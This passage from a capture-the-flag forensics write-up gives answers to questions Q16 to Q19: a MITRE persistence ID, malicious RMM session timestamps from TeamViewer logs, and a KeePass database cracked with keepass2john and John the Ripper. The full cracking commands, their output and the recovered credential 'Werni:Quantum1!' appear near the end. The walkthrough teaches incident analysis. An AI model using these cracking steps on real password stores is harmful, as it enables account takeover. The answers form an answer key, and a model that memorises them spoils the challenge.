Q16 Answer: 2025-08-20 10:13:57

Q17. What is the MITRE ID of the persistence subtechnique? (Txxxx.xxx)

• With the previous context, just search up the subtechnique on google.

Q17 Answer: T1547.004

Q18. When did the malicious RMM session end? (YYYY-MM-DD HH:MM:SS)

• To answer Q18, we look back into the team viewer log. As we can see the previous session, within that session we could know when the malicious RMM Session end. Screenshot below:

• The left timestamp was the first session created and the right one is the session end.

Q18 Answer: 2025-08-20 10:14:27

Q19. The attacker found a password from exfiltrated files, allowing him to move laterally further into CogWork-1 infrastructure. What are the credentials for Heisen-9-WS-6? (user:password)

• To answer this last question, we use john to crack the .kdbx hash and found the correct password. using john here are the command we use:

keepass2john acquired\ file\ \(critical\).kdbx > keepas.hash

bitici16@Haalloobim:/holmes25/The_Watchman's_Residue$ tools/john/john/run/john --wordlist=wordlist/rockyou.txt keepas.hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
cutiepie14       (acquired file (critical))
1g 0:00:03:23 DONE (2025-09-26 13:47) 0g/s 212.1p/s 212.1c/s 212.1C/s estopa..cutedaw
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

• And we found the password of the .kdbx file. From here we can open using keepas2, input the correct password and submit the user:pass for eisen-9-WS-6.

Q19 Answer: Werni:Quantum1!